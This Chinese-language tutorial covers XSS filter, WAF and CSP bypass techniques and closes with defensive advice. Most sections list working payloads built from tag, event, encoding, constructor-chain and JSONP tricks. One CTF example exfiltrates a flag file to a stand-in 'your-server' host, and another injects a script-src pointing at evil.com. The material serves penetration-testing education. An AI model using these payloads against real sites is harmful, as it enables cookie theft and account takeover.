1. 项目概述:从“弹窗”到“接管”,理解XSS绕过的本质
刚入行做安全测试那会儿,我觉得XSS(跨站脚本攻击)不就是弹个框嘛,alert(1)一执行,漏洞就算找到了。后来在真实业务里碰壁无数次才发现,真正的挑战从来不是发现一个能执行脚本的输入点,而是如何在层层防御下,让精心构造的Payload成功“活”下来并执行。现代Web应用部署了各种过滤器(Filter)、Web应用防火墙(WAF)、内容安全策略(CSP),它们像一道道安检门,把那些明显的<script>、onerror=、javascript:标识统统拦下。这时候,“绕过”就成了渗透测试工程师和安全研究员的核心技能之一。这不仅仅是黑客的炫技,更是对防御体系深度的压力测试,能帮你真正理解前端安全的薄弱环节在哪里。
今天要聊的,就是这些“绕过过滤器”的实战技巧。我不会只给你一堆Payload列表——那种东西网上很多,但光看列表你永远不知道什么时候该用哪个,以及为什么这个能行。我会结合常见的过滤逻辑,拆解背后的绕过原理,并分享我在真实渗透测试和CTF比赛中积累的一些思路和“骚操作”。无论你是正在学习Web安全的初学者,还是想深化绕过技巧的进阶者,希望这些内容能帮你打开一扇窗。我们的目标很明确:不是教你攻击,而是让你彻底理解攻击是如何发生的,从而能构建更坚固的防御。
2. 过滤器的工作原理与常见拦截点
在开始研究如何绕过之前,我们必须先成为“过滤器设计师”,弄明白它通常是怎么工作的。理解防御逻辑,是设计攻击路径的前提。
2.1 过滤器的核心逻辑:黑名单、白名单与规范化
绝大多数过滤器的核心,可以归结为三种策略,或者它们的混合体。
黑名单过滤是最初级、也最常见的方式。管理员或开发人员预设一个“危险字符串”列表,比如<script>、javascript:、onclick、eval(等。当用户输入中包含这些字符串时,过滤器会采取行动:可能是直接删除(如将<script>替换为空),可能是进行转义(如将<变成<),也可能是直接拦截并返回错误。这种方式的弊端非常明显:名单难以穷尽,且极易绕过。只要构造不在名单上的等效Payload即可。
白名单过滤则安全得多。它只允许输入符合特定规则的安全字符或结构。例如,一个姓名输入框可能只允许字母、数字和少数几个标点。对于富文本编辑器,它可能使用一个严格的HTML标签和属性白名单(如只允许<b>,<i>,<a href=”http/https”>)。白名单的挑战在于平衡安全与功能,定义过于严格会影响用户体验,但一旦实施得当,绕过难度极大。
规范化与解码混淆是过滤器面临的另一个复杂问题。攻击者输入的Payload可能经过多次编码(如HTML实体编码、URL编码、Unicode编码)。一个健壮的过滤器需要在比较或过滤前,对输入进行规范化(解码)处理。如果过滤器的解码顺序或次数与浏览器不一致,就会产生安全空隙。例如,过滤器只解码一次<script>,但浏览器可能会解码两次,导致绕过。
2.2 关键拦截位置与上下文
过滤可能发生在不同阶段,Payload需要针对性地变形:
- 服务端输入过滤:数据到达后端应用逻辑之前被处理。这里可能进行全局性的关键字过滤或转义。
- 输出编码/转义:在将数据嵌入到不同HTML上下文时进行。这是最应该做好,但也最容易出错的地方。
- HTML标签内(正文):
<div>用户输入</div>。这里需要转义<,>,&等。 - HTML属性值:
<input value=”用户输入”>。这里需要转义引号”和’,防止闭合属性。 - JavaScript上下文:
<script>var a = ‘用户输入’; </script>。这里需要处理引号闭合和JS转义。 - URL属性:
<a href=”用户输入”>。这里需要验证协议(是否以javascript:开头)。 - CSS上下文:
<div style=”color: 用户输入”>。这里可能通过expression()等特性执行代码。
- HTML标签内(正文):
- 客户端过滤(WAF/前端JS):在请求到达服务器前,或响应到达浏览器后,由WAF或前端JavaScript代码进行二次校验。这种过滤常可通过直接禁用浏览器JS或抓包修改请求来绕过。
注意:很多漏洞源于开发人员混淆了上下文。例如,在HTML属性上下文使用了HTML实体转义(将
”转成"),这本身是正确的。但如果这个属性值被未经处理地放入了<script>标签内的字符串中,浏览器会先进行HTML解码,还原出引号,从而造成JS字符串闭合。这就是“错误的上下文转义”导致的漏洞。
3. 经典绕过技巧分类解析
下面我们进入实战环节,按照过滤器的拦截思路,分类讲解绕过技巧。我会尽量解释每个技巧生效的条件和原理。
3.1 针对标签与事件处理程序的绕过
当过滤器重点拦截<script>标签和onclick这类明显的事件处理器时,我们的武器库依然很丰富。
利用不常见的HTML标签与事件: 黑名单可能只包含<script>、<img>、<svg>等常见标签。我们可以尝试:
<body onload=alert(1)>:利用<body>标签的onload事件。<svg onload=alert(1)>:SVG标签内联支持脚本。<details open ontoggle=alert(1)>:利用<details>元素的ontoggle事件。<input onfocus=alert(1) autofocus>:结合autofocus属性,让元素自动获取焦点触发事件。<video onloadstart=alert(1)><source></video>:多媒体标签的事件。
大小写与嵌套混淆: 简单的正则匹配/<script>/i可能不区分大小写,但有些过滤器只匹配小写。可以尝试:
<ScRiPt>alert(1)</sCrIpT>- 更隐蔽的:利用HTML解析器的特性,在标签名中插入无效字符(某些浏览器会忽略)。例如
<script/x>alert(1)</script>或<script>alert(1)</script >(注意空格位置)。但这非常依赖于浏览器。
利用标签属性本身执行代码: 有些属性值可以直接执行JavaScript,无需事件处理器。
<a href=”javascript:alert(1)”>:经典的javascript:伪协议。过滤器通常会拦截javascript:这个字符串。绕过方法包括:利用URL编码javascript:alert(1),或使用大小写JavaScript:, 甚至利用空白字符java script:或换行java%0ascript:(取决于浏览器和过滤器的解析差异)。<iframe src=”javascript:alert(1)”>:同样适用。<form action=”javascript:alert(1)”>:表单的action属性。
标签属性值绕过引号过滤: 如果属性值被引号包围,我们需要先闭合引号。假设输入点位于<input value=”INPUT”>中。
- 如果过滤器转义了引号(
”->"),在HTML上下文中是安全的。但如果过滤不严,我们可以输入” onmouseover=”alert(1),最终构造出:<input value=”” onmouseover=”alert(1)”>。这里我们闭合了原有的value属性,并添加了新的事件属性。 - 如果属性值没有引号,如
<input value=INPUT>,则更简单,直接输入x onmouseover=alert(1),构成<input value=x onmouseover=alert(1)>。注意,这里的alert(1)作为属性值,通常不需要引号,但某些浏览器在遇到空格时可能解析出错,此时可以用反引号`代替。
3.2 针对JavaScript关键字与语法的绕过
当我们的Payload已经进入了一个JavaScript执行上下文(比如在<script>标签内,或者一个事件处理器中),但过滤器对alert、eval、Function等关键字进行拦截时,就需要一些“障眼法”。
字符串拼接与编码: 这是最基础的方法。JavaScript可以通过多种方式构造一个字符串。
eval(‘al’+’ert(1)’):拼接字符串。eval(String.fromCharCode(97,108,101,114,116,40,49,41)):利用String.fromCharCode从ASCII码构造字符串。window[‘al’+’ert’](1):使用中括号表示法访问对象属性。top[“al”+”ert”](1):类似,top、parent、self等都可能指向window对象。
利用JSFuck等编码形式: JSFuck是一种极端的编码方式,它仅用[]()!+六个字符就能编写任何JavaScript代码。例如[][“filter”][“constructor”](“alert(1)”)()。这种Payload长度惊人,但能绕过很多简单的关键字匹配。在线工具可以轻松生成。
利用模板字符串与Unicode: ES6的模板字符串(反引号)有时可以绕过对单引号/双引号的过滤。
alert`1`:注意,这是标签模板语法,等效于alert(‘1’)。- Unicode转义:
\u0061\u006c\u0065\u0072\u0074(1)解码后就是alert(1)。浏览器JS引擎会识别并解码。
间接调用与原型链: 通过访问对象的构造函数来动态执行代码。
(1).constructor.constructor(“alert(1)”)():数字1的构造函数是Number,Number的构造函数是Function,由此创建了一个函数并执行。[].filter.constructor(“alert(1)”)():利用数组filter方法的constructor属性,它也是Function。
实操心得:在真实的绕过尝试中,我通常会先用一个简单的
prompt(1)或console.log(1)来测试执行上下文是否畅通,因为它们比alert更少被列入黑名单。确认可执行后,再尝试递进地使用更复杂的Payload来证明危害,比如document.cookie。在CTF中,经常需要读取特定路径下的flag文件,Payload会变成fetch(‘/flag’).then(r=>r.text()).then(d=>location.href=’http://your-server?c=’+d),这就涉及到更复杂的异步请求和外部通信。
3.3 编码与多重编码绕过
这是对抗过滤器的“重武器”,核心在于利用浏览器与过滤器在解码顺序和次数上的不一致。
HTML实体编码: 浏览器在解析HTML时,会识别并解码实体。例如,<会被解码为<。
- 场景:假设过滤器禁止输入
<和>,但允许输入&。我们可以输入<script>alert(1)</script>。如果过滤器没有解码就直接输出,而浏览器正常解码,那么脚本就会执行。 - 多重编码:
&lt;(<的实体编码)。如果过滤器只解码一次,得到<,但浏览器会继续解码第二次得到<。 - 十进制/十六进制实体:
<还可以表示为<(十进制)或<(十六进制)。过滤器的正则可能只匹配其中一种形式。
URL编码: 主要用于出现在URL上下文(如href、src、action)或GET请求参数中的Payload。
javascript:alert(1)编码后为javascript%3Aalert%281%29。- 关键点在于,浏览器在执行
javascript:伪协议前,会对URL进行解码。如果WAF只检查原始URL字符串,就可能被绕过。 - 可以混合编码:只编码关键字符,如
javascript:alert%281%29或javascrip%74:alert(1)。
Unicode编码与UTF-7:
- Unicode转义:在HTML和JS中都可以使用。如
<表示为\u003c(在JS字符串中)或`(在HTML中,但支持度不一)。 - UTF-7绕过:这是一种古老的技巧,针对没有明确指定字符集的页面。
+ADw-script+AD4-alert(1)+ADw-/script+AD4-在UTF-7编码下会被解析为<script>alert(1)</script>。现代浏览器默认使用UTF-8,此技巧已较少见,但在某些特定配置下仍可能生效。
混合编码与局部编码: 最有效的绕过往往是“组合拳”。例如,在一个onerror事件中,既要绕过对onerror的检测,又要绕过对其中代码的检测。
- 先通过大小写或插入标签绕过对
img标签和onerror属性的过滤:<ImG sRc=x oNeRrOr=alert(1)>。 - 如果
alert被过滤,则对事件处理器内的代码进行JS编码:<img src=x onerror=eval(‘\x61\x6c\x65\x72\x74\x28\x31\x29’)>。 - 如果
eval也被过滤,可以尝试<img src=x onerror=window[‘al’+’ert’](1)>。
4. 高级绕过场景与实战思路
当面对更复杂的WAF或框架内置过滤器时,需要更精巧的利用和更深入的理解。
4.1 绕过内容安全策略(CSP)
CSP不是过滤器,而是一个更强大的浏览器端安全机制,通过HTTP头告诉浏览器哪些资源是可信的。绕过CSP通常不是直接“击败”它,而是寻找其策略中的疏漏。
- 利用允许的脚本源:如果CSP包含
script-src ‘self’,意味着只允许加载同源脚本。如果网站存在一个上传点,允许上传静态文件(如图片)且未正确验证内容类型,攻击者可能上传一个包含恶意JS的.js文件,然后通过<script src=”/uploads/evil.js”>来执行。这就是“同源”策略被滥用。 - 利用
unsafe-inline:如果CSP为了兼容旧代码而包含了‘unsafe-inline’,那么任何内联脚本都将被允许,之前的绕过技巧大多重新生效。这是最糟糕的配置之一。 - 利用
unsafe-eval:如果策略允许eval、Function等,那么通过字符串拼接、编码构造动态代码的方式将畅通无阻。 - 利用JSONP回调:如果CSP允许从某个可信域(如
script-src https://api.trusted.com)加载脚本,而该域提供了JSONP接口,攻击者可以诱使用户访问一个精心构造的URL,该URL调用该JSONP接口,并将恶意代码作为回调函数参数执行。例如:<script src=”https://api.trusted.com/data?callback=alert(document.domain)//”></script>。 - CSP注入:如果页面动态生成CSP头,且用户输入未被妥善过滤就包含其中,攻击者可能注入一个
script-src指令,来允许来自自己服务器的脚本。例如,注入; script-src https://evil.com,使得最终策略变为允许从evil.com加载脚本。
4.2 DOM型XSS的独特绕过
DOM型XSS的Payload从不发送到服务器,完全在客户端JavaScript代码中触发。因此,服务端的过滤器形同虚设。绕过依赖于对前端JS代码逻辑缺陷的利用。
- 源码审计:关键在于仔细阅读前端JavaScript,找到那些将用户可控数据传递给“危险”接收器的代码路径。常见的接收器(Sink)包括:
innerHTML、outerHTML、document.write()、eval()、setTimeout()、location、postMessage处理器等。 - 利用哈希(Fragment):
location.hash(URL中#后面的部分)不会发送到服务器。一段代码如果直接eval(location.hash.substring(1))或将其插入innerHTML,就会导致XSS。Payload直接写在URL里即可:https://victim.com/page.html#<img src=x onerror=alert(1)>。 - 利用
postMessage:如果页面监听了message事件,并且未严格验证消息来源和内容,就直接将数据用于innerHTML或eval,那么一个恶意iframe就可以通过postMessage向目标页面发送XSS Payload。 - 绕过客户端过滤:有些前端JS会自己实现过滤函数。可以通过浏览器开发者工具动态调试,分析过滤逻辑,找到绕过方法。有时直接禁用JavaScript就能绕过这种客户端检查(但可能无法触发漏洞本身)。
4.3 利用浏览器特性与解析差异
浏览器的HTML和JavaScript解析器并非铁板一块,某些“怪异模式”或特性可以被利用。
- 字符集与编码绕过:如前所述的UTF-7,还有在某些特定字符集下,某些字节序列会被解析为特殊字符。
- HTML5新增标签与属性:新的标签(如
<picture>、<math>、<svg>)和属性可能带来新的攻击向量。SVG本身就是一个完整的XML文档,内部可以包含脚本。 - 浏览器Bug:历史上存在过一些浏览器解析Bug,导致畸形的HTML被错误解释。例如,某些版本的浏览器对
<script标签后紧跟非空格字符的处理异常。这类绕过时效性强,但一旦公开,影响范围可能很广。
5. 防御视角下的思考与总结
聊了这么多绕过技巧,最终还是要回到防御上来。真正的安全不是依靠一个“神奇”的过滤器,而是一套完整的体系。
- 严格的输出编码/转义:这是黄金法则。根据数据将要嵌入的上下文(HTML、属性、JS、CSS、URL),使用经过严格测试的编码库进行转义。不要自己写正则,用成熟的库,如OWASP ESAPI、各种语言框架内置的模板引擎(如Jinja2、React的JSX)。
- 实施CSP:作为纵深防御的最后一道防线。制定严格的策略,禁用内联脚本和
eval(script-src ‘self’),并仔细评估所有外部资源源。即使被部分绕过,也能极大增加攻击难度。 - 输入验证与规范化:在接收输入时,根据业务逻辑进行严格的白名单验证(如姓名只允许字母和空格)。对于复杂输入(如HTML),使用安全的富文本处理库,它内部会进行解析、白名单过滤和序列化。
- 使用安全的框架与API:优先使用那些自动处理XSS防护的框架和API。例如,使用
element.textContent而不是innerHTML来设置纯文本;使用安全的DOM操作API(如document.createElement,setAttribute)来动态创建元素,而不是拼接HTML字符串。 - 定期安全测试与审计:将XSS检查纳入自动化测试流程(如使用DAST工具)。同时,进行人工代码审计,特别是对直接操作DOM、使用
eval、setTimeout/setInterval接收字符串参数、以及处理location.*、postMessage等敏感位置进行重点审查。
在我个人的测试经验里,最棘手的漏洞往往出现在“自以为安全”的地方——比如一个经过严格过滤的评论框没事,但用户个人主页的“昵称”显示在页面标题<title>里,却忘了做转义。或者,一个复杂的单页应用(SPA),前端路由将用户输入的一部分直接拼进了innerHTML。安全是一个整体,任何一环的疏忽都可能导致前功尽弃。理解攻击者的绕过手法,不是为了成为他们,而是为了在设计和代码阶段,就堵上那些可能被利用的缝隙。每一次成功的绕过,都揭示了一种防御的缺失;而修补它,正是我们让网络世界变得更安全一点的方式。